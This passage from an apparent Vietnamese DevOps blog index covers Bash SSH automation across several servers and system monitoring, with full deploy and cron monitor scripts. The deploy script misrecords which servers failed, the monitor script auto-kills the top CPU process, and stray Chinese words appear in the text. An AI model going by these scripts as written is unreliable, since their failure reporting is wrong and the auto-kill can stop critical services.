-f ~/.ssh/id_ed25519_deploy -C \u0026#34;deploy@automation\u0026#34; Lưu ý: Nếu bạn dùng key cho mục đích tự động hóa, hãy đặt passphrase rỗng (nhấn Enter khi được hỏi) hoặc dùng ssh-agent để quản lý passphrase. Tuy nhiên, trong môi trường CI/CD, nên dùng key không passphrase và bảo vệ key bằng quyền truy cập filesystem.\nCopy key sang server 1 2 3 4 5 6 # Dùng ssh-copy-id (cách chuẩn) ssh-copy-id -i ~/.ssh/id_ed25519_deploy.pub user@server1 ssh-copy-id -i ~/.ssh/id_ed25519_deploy.pub user@server2 # Hoặc copy thủ công nếu ssh-copy-id không khả dụng cat ~/.ssh/id_ed25519_deploy.pub | ssh user@server1 \u0026#34;mkdir -p ~/.ssh \u0026amp;\u0026amp; cat \u0026gt;\u0026gt; ~/.ssh/authorized_keys\u0026#34; Kiểm tra kết nối 1 2 # Test không cần mật khẩu ssh -i ~/.ssh/id_ed25519_deploy user@server1 \u0026#34;echo \u0026#39;SSH connection successful\u0026#39;\u0026#34; Cấu hình ~/.ssh/config File ~/.ssh/config giúp bạn truy cập server bằng tên ngắn thay vì nhớ địa chỉ IP và username:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # ~/.ssh/config # Server staging Host staging-web HostName 192.168.1.10 User deploy IdentityFile ~/.ssh/id_ed25519_deploy Port 22 Host staging-db HostName 192.168.1.11 User deploy IdentityFile ~/.ssh/id_ed25519_deploy Port 22 # Server production Host prod-web HostName 10.0.0.10 User deploy IdentityFile ~/.ssh/id_ed25519_deploy Port 2222 Host prod-db HostName 10.0.0.11 User deploy IdentityFile ~/.ssh/id_ed25519_deploy Port 2222 # Global defaults Host * ServerAliveInterval 60 ServerAliveCountMax 3 StrictHostKeyChecking accept-new LogLevel ERROR Sau khi cấu hình, bạn có thể truy cập server bằng tên host ngắn:\n1 2 3 4 5 # Thay vì: ssh deploy@192.168.1.10 ssh staging-web \u0026#34;df -h /\u0026#34; # Hoặc dùng alias trong Bash echo \u0026#34;alias prod-web=\u0026#39;ssh prod-web\u0026#39;\u0026#34; \u0026gt;\u0026gt; ~/.bashrc Giải thích các cấu hình quan trọng:\nServerAliveInterval 60: Gửi keepalive mỗi 60 giây để tránh bị ngắt kết nối. ServerAliveCountMax 3: Ngắt kết nối sau 3 lần keepalive thất bại. StrictHostKeyChecking accept-new: Tự động chấp nhận host key mới mà không hỏi. LogLevel ERROR: Chỉ hiển thị lỗi, giảm verbosity khi chạy script. Chạy lệnh từ xa Lệnh cơ bản 1 2 3 4 5 6 7 8 # Chạy một lệnh trên server ssh user@server1 \u0026#34;uptime\u0026#34; # Chạy nhiều lệnh ssh user@server1 \u0026#34;cd /opt/app \u0026amp;\u0026amp; git pull \u0026amp;\u0026amp; systemctl restart myapp\u0026#34; # Chạy lệnh với sudo ssh user@server1 \u0026#34;sudo systemctl status nginx\u0026#34; Truyền biến môi trường 1 2 3 4 5 6 7 8 9 10 11 # Truyền biến vào phiên SSH DEPLOY_ENV=\u0026#34;staging\u0026#34; APP_VERSION=\u0026#34;v2.1.0\u0026#34; ssh user@server1 \u0026#34;echo \\$DEPLOY_ENV \\$APP_VERSION\u0026#34; # An toàn hơn: dùng heredoc ssh user@server1 \u0026lt;\u0026lt; \u0026#39;REMOTE_SCRIPT\u0026#39; export DEPLOY_ENV=\u0026#34;staging\u0026#34; cd /opt/app git pull origin main npm install --production systemctl restart myapp REMOTE_SCRIPT Xử lý lỗi khi chạy remote 1 2 3 4 5 6 7 # Kiểm tra exit code if ssh user@server1 \u0026#34;systemctl status nginx\u0026#34; 2\u0026gt;/dev/null; then echo \u0026#34;Nginx is running on server1\u0026#34; else echo \u0026#34;Nginx is down on server1 — attempting restart\u0026#34; ssh user@server1 \u0026#34;sudo systemctl restart nginx\u0026#34; fi Truyền file giữa các server scp — Secure Copy 1 2 3 4 5 6 7 8 9 10 11 # Copy file từ local sang remote scp /local/path/config.yml user@server1:/opt/app/config.yml # Copy thư mục (recursive) scp -r /local/path/dist/ user@server1:/opt/app/dist/ # Copy từ remote sang local scp user@server1:/var/log/app.log /local/logs/ # Copy giữa hai server (qua local trung gian) scp user@server1:/data/backup.sql user@server2:/data/restore.sql rsync — Remote Sync rsync mạnh hơn scp vì hỗ trợ đồng bộ chỉ các file thay đổi (incremental sync):\n1 2 3 4 5 6 7 8 9 10 11 # Đồng bộ thư mụcdist lên server rsync -avz --progress /local/path/dist/ user@server1:/opt/app/dist/ # rsync qua SSH với port tùy chỉnh rsync -avz -e \u0026#34;ssh -p 2222\u0026#34; /local/path/ user@server1:/opt/app/ # Chỉ sync file đã thay đổi trong 1 ngày rsync -avz --max-age=1 /local/path/logs/ user@server1:/backup/logs/ # Dry-run trước khi thực hiện rsync -avzn --delete /local/path/ user@server1:/opt/app/ Giải thích flags:\n-a: Archive mode (giữ quyền file, symlink, timestamp). -v: Verbose — hiển thị file đang được sync. -z: Nén dữ liệu khi truyền qua mạng. --delete: Xóa file ở destination không có trong source. --progress: Hiển thị tiến trình truyền file. Lặp qua nhiều server Vòng lặp cơ bản 1 2 3 4 5 6 SERVERS=(\u0026#34;web-01\u0026#34; \u0026#34;web-02\u0026#34; \u0026#34;web-03\u0026#34;) for server in \u0026#34;${SERVERS[@]}\u0026#34;; do echo \u0026#34;=== $server ===\u0026#34; ssh \u0026#34;deploy@${server}\u0026#34; \u0026#34;hostname \u0026amp;\u0026amp; uptime \u0026amp;\u0026amp; df -h / | tail -1\u0026#34; done Đọc danh sách server từ file 1 2 3 4 5 6 7 8 9 # File servers.txt chứa mỗi server một dòng # web-01 # web-02 # db-01 while IFS= read -r server; do [[ -z \u0026#34;$server\u0026#34; || \u0026#34;$server\u0026#34; =~ ^# ]] \u0026amp;\u0026amp; continue ssh \u0026#34;deploy@${server}\u0026#34; \u0026#34;hostname\u0026#34; 2\u0026gt;/dev/null \u0026amp;\u0026amp; echo \u0026#34;OK: $server\u0026#34; || echo \u0026#34;FAIL: $server\u0026#34; done \u0026lt; servers.txt Xử lý lỗi trong vòng lặp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 SERVERS=(\u0026#34;web-01\u0026#34; \u0026#34;web-02\u0026#34; \u0026#34;web-03\u0026#34;) FAILED=() for server in \u0026#34;${SERVERS[@]}\u0026#34;; do if ! ssh \u0026#34;deploy@${server}\u0026#34; \u0026#34;echo OK\u0026#34; 2\u0026gt;/dev/null; then FAILED+=(\u0026#34;$server\u0026#34;) echo \u0026#34;[ERROR] Cannot connect to $server\u0026#34; fi done if [[ ${#FAILED[@]} -gt 0 ]]; then echo \u0026#34;Failed servers: ${FAILED[*]}\u0026#34; exit 1 fi Chạy lệnh song song với \u0026amp; và wait Khi quản lý nhiều server, chạy tuần tự từng máy sẽ rất chậm. Bash hỗ trợ chạy song song bằng \u0026amp; (background process) và wait (đợi tất cả hoàn thành):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 SERVERS=(\u0026#34;web-01\u0026#34; \u0026#34;web-02\u0026#34; \u0026#34;web-03\u0026#34; \u0026#34;db-01\u0026#34; \u0026#34;db-02\u0026#34;) MAX_PARALLEL=3 run_on_server() { local server=\u0026#34;$1\u0026#34; echo \u0026#34;[START] $server\u0026#34; ssh \u0026#34;deploy@${server}\u0026#34; \u0026#34;sudo apt update \u0026amp;\u0026amp; sudo apt upgrade -y\u0026#34; 2\u0026gt;/dev/null local status=$? echo \u0026#34;[DONE] $server (exit: $status)\u0026#34; return $status } # Chạy song song với giới hạn concurrency pids=() for server in \u0026#34;${SERVERS[@]}\u0026#34;; do run_on_server \u0026#34;$server\u0026#34; \u0026amp; pids+=($!) # Giới hạn số tiến trình chạy đồng thời if [[ ${#pids[@]} -ge $MAX_PARALLEL ]]; then wait \u0026#34;${pids[0]}\u0026#34; pids=(\u0026#34;${pids[@]:1}\u0026#34;) fi done # Đợi tất cả tiến trình còn lại hoàn thành for pid in \u0026#34;${pids[@]}\u0026#34;; do wait \u0026#34;$pid\u0026#34; done echo \u0026#34;All servers updated.\u0026#34; Giải thích:\nrun_on_server \u0026quot;$server\u0026quot; \u0026amp;: Chạy hàm trong background. pids+=($!): Lưu PID của tiến trình background. wait \u0026quot;${pids[0]}\u0026quot;: Đợi tiến trình đầu tiên hoàn thành trước khi chạy tiến trình mới. MAX_PARALLEL=3: Giới hạn tối đa 3 server chạy cùng lúc. Ví dụ thực hành: Script quản lý multi-server 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 #!/usr/bin/env bash # ============================================================================== # Script : multi-server-deploy.sh # Mục đích: Triển khai ứng dụng lên nhiều server song song # ============================================================================== set -euo pipefail IFS=$\u0026#39;\\n\\t\u0026#39; readonly SERVERS_FILE=\u0026#34;${SERVERS_FILE:-/etc/deploy/servers.txt}\u0026#34; readonly SSH_USER=\u0026#34;${SSH_USER:-deploy}\u0026#34; readonly SSH_KEY=\u0026#34;${SSH_KEY:-$HOME/.ssh/id_ed25519_deploy}\u0026#34; readonly APP_DIR=\u0026#34;${APP_DIR:-/opt/app}\u0026#34; readonly MAX_PARALLEL=\u0026#34;${MAX_PARALLEL:-5}\u0026#34; readonly LOG_DIR=\u0026#34;/var/log/multi-deploy\u0026#34; readonly TIMESTAMP=$(date \u0026#39;+%Y%m%d_%H%M%S\u0026#39;) readonly LOG_FILE=\u0026#34;${LOG_DIR}/deploy_${TIMESTAMP}.log\u0026#34; mkdir -p \u0026#34;$LOG_DIR\u0026#34; log() { local level=\u0026#34;$1\u0026#34;; shift echo \u0026#34;[$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)] [$level] $*\u0026#34; | tee -a \u0026#34;$LOG_FILE\u0026#34; } load_servers() { if [[ ! -f \u0026#34;$SERVERS_FILE\u0026#34; ]]; then log \u0026#34;ERROR\u0026#34; \u0026#34;Servers file not found: $SERVERS_FILE\u0026#34; exit 1 fi mapfile -t SERVERS \u0026lt; \u0026lt;(grep -vE \u0026#39;^\\s*#|^\\s*$\u0026#39; \u0026#34;$SERVERS_FILE\u0026#34;) if [[ ${#SERVERS[@]} -eq 0 ]]; then log \u0026#34;ERROR\u0026#34; \u0026#34;No servers defined in $SERVERS_FILE\u0026#34; exit 1 fi log \u0026#34;INFO\u0026#34; \u0026#34;Loaded ${#SERVERS[@]} servers from $SERVERS_FILE\u0026#34; } check_connectivity() { local server=\u0026#34;$1\u0026#34; local identity_file=\u0026#34;$SSH_KEY\u0026#34; if [[ ! -f \u0026#34;$identity_file\u0026#34; ]]; then log \u0026#34;ERROR\u0026#34; \u0026#34;SSH key not found: $identity_file\u0026#34; exit 1 fi ssh -i \u0026#34;$identity_file\u0026#34; -o ConnectTimeout=10 -o BatchMode=yes \\ \u0026#34;${SSH_USER}@${server}\u0026#34; \u0026#34;echo OK\u0026#34; 2\u0026gt;/dev/null } deploy_to_server() { local server=\u0026#34;$1\u0026#34; local deploy_log=\u0026#34;${LOG_DIR}/deploy_${server}_${TIMESTAMP}.log\u0026#34; log \u0026#34;INFO\u0026#34; \u0026#34;Deploying to $server...\u0026#34; if ! check_connectivity \u0026#34;$server\u0026#34;; then log \u0026#34;ERROR\u0026#34; \u0026#34;Cannot connect to $server — skipping\u0026#34; return 1 fi ssh -i \u0026#34;$SSH_KEY\u0026#34; \u0026#34;${SSH_USER}@${server}\u0026#34; \u0026lt;\u0026lt; REMOTE \u0026gt; \u0026#34;$deploy_log\u0026#34; 2\u0026gt;\u0026amp;1 set -euo pipefail echo \u0026#34;=== Deployment on \\$(hostname) ===\u0026#34; echo \u0026#34;Time: \\$(date)\u0026#34; cd \u0026#34;$APP_DIR\u0026#34; || { echo \u0026#34;Directory $APP_DIR not found\u0026#34;; exit 1; } echo \u0026#34;Pulling latest code...\u0026#34; git pull origin main echo \u0026#34;Installing dependencies...\u0026#34; npm install --production 2\u0026gt;/dev/null || pip install -r requirements.txt 2\u0026gt;/dev/null || true echo \u0026#34;Restarting service...\u0026#34; sudo systemctl restart myapp echo \u0026#34;Checking service status...\u0026#34; sleep 3 if systemctl is-active --quiet myapp; then echo \u0026#34;Service myapp is running\u0026#34; else echo \u0026#34;ERROR: Service myapp failed to start\u0026#34; exit 1 fi echo \u0026#34;=== Deployment completed ===\u0026#34; REMOTE if [[ $? -eq 0 ]]; then log \u0026#34;INFO\u0026#34; \u0026#34;Deploy SUCCESS: $server\u0026#34; else log \u0026#34;ERROR\u0026#34; \u0026#34;Deploy FAILED: $server (check $deploy_log)\u0026#34; return 1 fi } main() { log \u0026#34;INFO\u0026#34; \u0026#34;=== Multi-server deployment started ===\u0026#34; load_servers pids=() failed=() succeeded=0 for server in \u0026#34;${SERVERS[@]}\u0026#34;; do deploy_to_server \u0026#34;$server\u0026#34; \u0026amp; pids+=($!) if [[ ${#pids[@]} -ge $MAX_PARALLEL ]]; then wait \u0026#34;${pids[0]}\u0026#34; || failed+=(\u0026#34;${SERVERS[0]}\u0026#34;) pids=(\u0026#34;${pids[@]:1}\u0026#34;) fi done for pid in \u0026#34;${pids[@]}\u0026#34;; do wait \u0026#34;$pid\u0026#34; || failed+=(\u0026#34;server\u0026#34;) done log \u0026#34;INFO\u0026#34; \u0026#34;=== Deployment completed ===\u0026#34; log \u0026#34;INFO\u0026#34; \u0026#34;Results: $(( ${#SERVERS[@]} - ${#failed[@]} ))/${#SERVERS[@]} succeeded\u0026#34; if [[ ${#failed[@]} -gt 0 ]]; then log \u0026#34;WARN\u0026#34; \u0026#34;Failed servers: ${failed[*]}\u0026#34; exit 1 fi } main \u0026#34;$@\u0026#34; Cấu trúc file servers.txt 1 2 3 4 5 6 7 8 # Staging servers web-staging-01 web-staging-02 # Production servers web-prod-01 web-prod-02 web-prod-03 Chạy script 1 2 chmod +x multi-server-deploy.sh ./multi-server-deploy.sh Ghi chú triển khai Bảo mật SSH key: Đặt quyền chmod 600 cho private key và chmod 644 cho public key. Không bao giờ commit key vào repository. Trong CI/CD, lưu key dưới dạng secret và mount vào file tạm thời. Host key verification: Ở第一次 kết nối, SSH sẽ hỏi xác nhận host key. Trong script tự động, dùng StrictHostKeyChecking accept-new trong ~/.ssh/config hoặc flag -o StrictHostKeyChecking=accept-new để tự động chấp nhận. Giới hạn concurrency: Chạy quá nhiều SSH session cùng lúc có thể gây overload cho network hoặc server nguồn. Luôn thiết lập MAX_PARALLEL phù hợp với hạ tầng. Timeout kết nối: Sử dụng -o ConnectTimeout=10 và -o BatchMode=yes để tránh script treo vô hạn khi server không phản hồi. Rollback strategy: Luôn có kế hoạch rollback trước khi deploy hàng loạt. Script ví dụ trên chỉ deploy — trong thực tế, bạn nên thêm bước snapshot hoặc backup trước khi thay đổi. Lời kết Tự động hóa SSH bằng Bash không chỉ giúp bạn tiết kiệm thời gian mà còn đảm bảo tính nhất quán khi quản lý nhiều server. Từ việc thiết lập key-based authentication, cấu hình ~/.ssh/config để truy cập nhanh, sử dụng scp/rsync để truyền file, đến việc chạy lệnh song song với \u0026amp; và wait — tất cả đều có thể kết hợp trong một script Bash gọn gàng.\nỞ bài tiếp theo, chúng ta sẽ khám phá cách kết hợp Bash và Docker: viết wrapper script để quản lý container, tự động restart khi crash, và deploy stack với docker compose.\n","date":"30/08/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-thirteen.webp","permalink":"/vi/posts/bash/bash-step-thirteen/","summary":"Hướng dẫn tự động hóa SSH với Bash để quản lý multi-server: ssh-keygen, ssh-copy-id, ~/.ssh/config, scp, rsync, chạy lệnh từ xa song song với \u0026 và wait.","tags":["bash","shell-script","devops","ssh","multi-server","automation","rsync","remote-execution"],"title":"Tự động hóa SSH với Bash: Quản lý multi-server hiệu quả trong DevOps"},{"categories":["DevOps","Bash"],"content":"Quản lý hệ thống với Bash trong DevOps Trong bài viết trước, chúng ta đã tìm hiểu cách tích hợp Bash vào các pipeline CI/CD, từ việc kích hoạt Strict Mode đến bảo vệ secret và chống Command Injection. Bây giờ, chúng ta sẽ quay lại \u0026ldquo;mặt đất\u0026rdquo; — nơi Bash phát huy sức mạnh trực tiếp trên server: quản lý hệ thống và giám sát tài nguyên.\nKhi vận hành hạ tầng DevOps, bạn không thể lúc nào cũng ngồi trước màn hình quan sát server. Đôi khi một tiến trình ngốn RAM bất thường, một ổ disk đầy ảnh hưởng đến log rotation, hay một dịch vụ quan trọng bị crash giữa đêm. Những lúc như vậy, một script Bash đúng chuẩn có thể phát hiện sự cố trước khi bạn kịp nhận cuộc gọi khẩn cấp, và thậm chí tự động can thiệp để khôi phục dịch vụ.\nBài viết này sẽ hướng dẫn bạn các lệnh cốt lõi để giám sát tài nguyên hệ thống (CPU, RAM, Disk, Network), quản lý tiến trình và dịch vụ, cùng một script thực hành DevOps kết hợp cron để theo dõi server liên tục.\nGiám sát tài nguyên hệ thống CPU và tải hệ thống Lệnh top là công cụ đầu tiên bạn nghĩ đến khi cần xem CPU đang chạy gì:\n1 2 # Chạy top 1 lần rồi thoát (phù hợp cho script) top -bn1 | head -5 Để lấy đúng phần trăm CPU trống, dùng grep và awk:\n1 2 3 4 # CPU usage (tính từ idle) cpu_idle=$(top -bn1 | grep \u0026#34;Cpu(s)\u0026#34; | awk \u0026#39;{print $8}\u0026#39; | tr -d \u0026#39;,\u0026#39;) cpu_usage=$(echo \u0026#34;100 - $cpu_idle\u0026#34; | bc) echo \u0026#34;CPU usage: ${cpu_usage}%\u0026#34; Hoặc dùng cách chính xác hơn với mpstat (từ gói sysstat):\n1 2 # CPU usage trung bình trong 1 giây mpstat 1 1 | tail -1 | awk \u0026#39;{print \u0026#34;CPU usage: \u0026#34; 100 - $NF \u0026#34;%\u0026#34;}\u0026#39; uptime cho bạn cái nhìn nhanh về tải hệ thống (load average) trong 1, 5, 15 phút:\n1 uptime | awk -F\u0026#39;load average:\u0026#39; \u0026#39;{print \u0026#34;Load average:\u0026#34; $2}\u0026#39; Lưu ý load average: Nếu load average lớn hơn số CPU cores, hệ thống đang bị quá tải. Ví dụ server 4 cores mà load trung bình là 5.2 nghĩa là có tiến trình đang chờ xử lý.\nRAM và swap Lệnh free hiển thị nhanh trạng thái bộ nhớ:\n1 free -h Để tính phần trăm RAM đã dùng:\n1 2 # RAM usage percentage free | awk \u0026#39;/Mem:/ {printf \u0026#34;RAM: %.1f%% used\\n\u0026#34;, $3/$2*100}\u0026#39; Kiểm tra swap có đang bị \u0026ldquo;dùng\u0026rdquo; không — dấu hiệu cảnh báo khi hệ thống cạn RAM:\n1 2 3 4 5 # Kiểm tra swap usage swap_used=$(free | awk \u0026#39;/Swap:/ {print $3}\u0026#39;) if [[ \u0026#34;$swap_used\u0026#34; -gt 0 ]]; then echo \u0026#34;Cảnh báo: Đang sử dụng ${swap_used}KB swap\u0026#34; fi Disk và inode df hiển thị dung lượng ổ cứng:\n1 2 # Dung lượng partition theo % df -h --output=target,pcent | tail -n +2 Kiểm tra partition nào vượt ngưỡng 80%:\n1 2 3 4 5 6 while read -r mount usage; do pct=$(echo \u0026#34;$usage\u0026#34; | tr -d \u0026#39;%\u0026#39;) if [[ \u0026#34;$pct\u0026#34; -ge 80 ]]; then echo \u0026#34;Cảnh báo: $mount đang dùng $usage dung lượng\u0026#34; fi done \u0026lt; \u0026lt;(df -h --output=target,pcent | tail -n +2) du giúp tìm thư mục chiếm nhiều dung lượng nhất:\n1 2 # Top 10 thư mục lớn nhất từ / du -h --max-depth=1 / 2\u0026gt;/dev/null | sort -rh | head -10 Kiểm tra inode — nhiều khi dung lượng trống nhưng inode đã hết:\n1 df -i --output=target,ipcent | tail -n +2 Quản lý tiến trình Liệt kê và tìm tiến trình ps là lệnh cơ bản nhất để xem tiến trình đang chạy:\n1 2 3 4 5 # Liệt kê tất cả tiến trình với CPU và RAM ps aux --sort=-%cpu | head -15 # Tìm tiến trình theo tên ps aux | grep -E \u0026#39;[n]ginx\u0026#39; | awk \u0026#39;{print $2, $4\u0026#34;%CPU\u0026#34;, $11}\u0026#39; Mẹo: Dùng [n]ginx thay vì nginx để grep không bắt chính dòng lệnh grep itself.\nĐể lấy PID của một tiến trình cụ thể:\n1 2 3 4 # Lấy PID của Nginx master process pidof nginx # Hoặc pgrep -f \u0026#34;nginx: master\u0026#34; Xử lý tiến trình kill gửi tín hiệu đến tiến trình. Hiểu rõ các tín hiệu giúp bạn can thiệp đúng cách:\nTín hiệu Số Ý nghĩa Khi nào dùng SIGTERM 15 Yêu cầu dừng lịch sự Thử dừng trước, cho tiến trình dọn tài nguyên SIGKILL 9 Dừng ngay lập tức Chỉ dùng khi SIGTERM không hiệu quả SIGHUP 1 Tải lại cấu hình Restart Nginx, Apache không cần dừng process SIGSTOP 19 Tạm dừng Tạm dừng tiến trình để điều tra 1 2 3 4 5 6 7 8 # Thử dừng lịch sự trước kill \u0026#34;$PID\u0026#34; # Nếu sau 5 giây không chết, force kill sleep 5 if kill -0 \u0026#34;$PID\u0026#34; 2\u0026gt;/dev/null; then kill -9 \u0026#34;$PID\u0026#34; fi pkill giúp dừng nhiều tiến trình theo mẫu tên:\n1 2 # Dừng tất cả tiến trình python cũ (trừ script hiện tại) pkill -f \u0026#34;python.*old_script\u0026#34; Xem tiến trình theo thời gian thực top hoặc htop (nếu cài thêm) cho phép quan sát realtime:\n1 2 # Chạy top với 3 lần cập nhật, mỗi lần cách nhau 1 giây top -bn3 -d1 | head -30 Nếu server chỉ có CLI và bạn muốn giao diện đẹp hơn top, htop là lựa chọn phổ biến:\n1 2 # Cài htop trên Debian/Ubuntu apt-get install -y htop Quản lý dịch vụ với systemctl Trong các hệ thống Linux hiện đại (systemd), systemctl là lệnh chính để kiểm soát dịch vụ:\n1 2 3 4 5 6 7 8 9 10 11 # Kiểm tra trạng thái dịch vụ systemctl status nginx # Khởi động / dừng / restart systemctl start nginx systemctl stop nginx systemctl restart nginx # Bật / tắt tự khởi động khi boot systemctl enable nginx systemctl disable nginx Để liệt kê tất cả dịch vụ đang chạy:\n1 systemctl list-units --type=service --state=running Tìm dịch vụ đã fail:\n1 systemctl list-units --state=failed Xem log của dịch vụ bằng journalctl:\n1 2 3 4 5 6 7 8 # Log của Nginx trong 50 dòng gần nhất journalctl -u nginx -n 50 --no-pager # Log realtime (tương tự tail -f) journalctl -u nginx -f # Log từ 1 giờ trước journalctl -u nginx --since \u0026#34;1 hour ago\u0026#34; Kiểm tra port và kết nối mạng ss (Socket Statistics) là lệnh hiện đại thay thế netstat:\n1 2 3 4 5 6 7 8 # Liệt kê tất cả port đang lắng nghe ss -tlnp # Kiểm tra port cụ thể (ví dụ 80) ss -tlnp | grep \u0026#39;:80\u0026#39; # Đếm kết nối theo trạng thái ss -s lsof giúp tìm tiến trình đang sử dụng file hoặc port:\n1 2 3 4 5 # Tìm tiến trình đang giữ port 443 lsof -i :443 # Tìm tiến trình đang mở file nào đó lsof /var/log/syslog Ví dụ thực hành: Script giám sát và can thiệp hệ thống Dưới đây là một script hoàn chỉnh kết hợp các lệnh trên, thiết kế để chạy qua cron định kỳ, phát hiện sự cố và tự động can thiệp khi cần:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 #!/usr/bin/env bash # ============================================================================== # Script : system-monitor.sh # Mục đích: Giám sát tài nguyên hệ thống, cảnh báo và can thiệp tự động # Chạy qua cron: */5 * * * * /opt/scripts/system-monitor.sh # ============================================================================== set -euo pipefail IFS=$\u0026#39;\\n\\t\u0026#39; readonly LOG_FILE=\u0026#34;/var/log/system-monitor.log\u0026#34; readonly MAX_LOG_SIZE=10485760 # 10MB readonly CPU_THRESHOLD=\u0026#34;${CPU_THRESHOLD:-90}\u0026#34; readonly RAM_THRESHOLD=\u0026#34;${RAM_THRESHOLD:-85}\u0026#34; readonly DISK_THRESHOLD=\u0026#34;${DISK_THRESHOLD:-80}\u0026#34; log() { local level=\u0026#34;$1\u0026#34;; shift echo \u0026#34;[$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)] [$level] $*\u0026#34; | tee -a \u0026#34;$LOG_FILE\u0026#34; 2\u0026gt;/dev/null # Xoay vòng log nếu quá lớn if [[ -f \u0026#34;$LOG_FILE\u0026#34; ]]; then local size size=$(stat -f%z \u0026#34;$LOG_FILE\u0026#34; 2\u0026gt;/dev/null || stat -c%s \u0026#34;$LOG_FILE\u0026#34; 2\u0026gt;/dev/null || echo 0) if [[ \u0026#34;$size\u0026#34; -gt \u0026#34;$MAX_LOG_SIZE\u0026#34; ]]; then mv \u0026#34;$LOG_FILE\u0026#34; \u0026#34;${LOG_FILE}.1\u0026#34; touch \u0026#34;$LOG_FILE\u0026#34; fi fi } # Kiểm tra CPU — kill tiến trình ngốn CPU nhất nếu vượt ngưỡng check_cpu() { local cpu_idle cpu_usage top_pid cpu_idle=$(top -bn1 | grep \u0026#34;Cpu(s)\u0026#34; | awk \u0026#39;{print $8}\u0026#39; | tr -d \u0026#39;,\u0026#39; || echo \u0026#34;0\u0026#34;) cpu_usage=$(echo \u0026#34;100 - $cpu_idle\u0026#34; | bc 2\u0026gt;/dev/null || echo \u0026#34;0\u0026#34;) if [[ \u0026#34;$(echo \u0026#34;$cpu_usage \u0026gt; $CPU_THRESHOLD\u0026#34; | bc 2\u0026gt;/dev/null || echo 0)\u0026#34; -eq 1 ]]; then log \u0026#34;WARN\u0026#34; \u0026#34;CPU usage: ${cpu_usage}% (threshold: ${CPU_THRESHOLD}%)\u0026#34; # Lấy PID tiến trình消耗 CPU cao nhất top_pid=$(ps -eo pid,%cpu --sort=-%cpu | awk \u0026#39;NR==2 {print $1}\u0026#39;) if [[ -n \u0026#34;$top_pid\u0026#34; \u0026amp;\u0026amp; \u0026#34;$top_pid\u0026#34; != \u0026#34;PID\u0026#34; ]]; then local top_cmd top_cmd=$(ps -p \u0026#34;$top_pid\u0026#34; -o comm= 2\u0026gt;/dev/null || echo \u0026#34;unknown\u0026#34;) log \u0026#34;WARN\u0026#34; \u0026#34;Killing PID $top_cmd ($top_pid) — high CPU\u0026#34; # Thử SIGTERM trước, chờ 5s rồi SIGKILL kill \u0026#34;$top_pid\u0026#34; 2\u0026gt;/dev/null || true sleep 5 if kill -0 \u0026#34;$top_pid\u0026#34; 2\u0026gt;/dev/null; then kill -9 \u0026#34;$top_pid\u0026#34; 2\u0026gt;/dev/null || true log \u0026#34;WARN\u0026#34; \u0026#34;Force killed PID $top_pid\u0026#34; fi fi else log \u0026#34;INFO\u0026#34; \u0026#34;CPU: ${cpu_usage}% — OK\u0026#34; fi } # Kiểm tra RAM check_ram() { local ram_pct ram_pct=$(free | awk \u0026#39;/Mem:/ {printf \u0026#34;%.1f\u0026#34;, $3/$2*100}\u0026#39;) if [[ \u0026#34;$(echo \u0026#34;$ram_pct \u0026gt; $RAM_THRESHOLD\u0026#34; | bc 2\u0026gt;/dev/null || echo 0)\u0026#34; -eq 1 ]]; then log \u0026#34;WARN\u0026#34; \u0026#34;RAM usage: ${ram_pct}% (threshold: ${RAM_THRESHOLD}%)\u0026#34; # Dọn bộ nhớ cache (an toàn, không mất dữ liệu) sync echo 3 \u0026gt; /proc/sys/vm/drop_caches 2\u0026gt;/dev/null || true log \u0026#34;INFO\u0026#34; \u0026#34;Dropped page cache\u0026#34; else log \u0026#34;INFO\u0026#34; \u0026#34;RAM: ${ram_pct}% — OK\u0026#34; fi } # Kiểm tra Disk check_disk() { while read -r mount usage; do local pct pct=$(echo \u0026#34;$usage\u0026#34; | tr -d \u0026#39;%\u0026#39;) if [[ \u0026#34;$pct\u0026#34; -ge \u0026#34;$DISK_THRESHOLD\u0026#34; ]]; then log \u0026#34;WARN\u0026#34; \u0026#34;Disk $mount usage: ${pct}% (threshold: ${DISK_THRESHOLD}%)\u0026#34; # Tự dọn file log cũ hơn 30 ngày find /var/log -name \u0026#34;*.gz\u0026#34; -mtime +30 -delete 2\u0026gt;/dev/null || true log \u0026#34;INFO\u0026#34; \u0026#34;Cleaned old compressed logs (\u0026gt;30 days)\u0026#34; fi done \u0026lt; \u0026lt;(df -h --output=target,pcent 2\u0026gt;/dev/null | tail -n +2) } # Kiểm tra dịch vụ critical check_services() { local critical_services=(\u0026#34;nginx\u0026#34; \u0026#34;docker\u0026#34; \u0026#34;sshd\u0026#34;) for svc in \u0026#34;${critical_services[@]}\u0026#34;; do if ! systemctl is-active --quiet \u0026#34;$svc\u0026#34; 2\u0026gt;/dev/null; then log \u0026#34;WARN\u0026#34; \u0026#34;Service $svc is not running — attempting restart\u0026#34; systemctl restart \u0026#34;$svc\u0026#34; 2\u0026gt;/dev/null || true sleep 2 if systemctl is-active --quiet \u0026#34;$svc\u0026#34; 2\u0026gt;/dev/null; then log \u0026#34;INFO\u0026#34; \u0026#34;Service $svc restarted successfully\u0026#34; else log \u0026#34;ERROR\u0026#34; 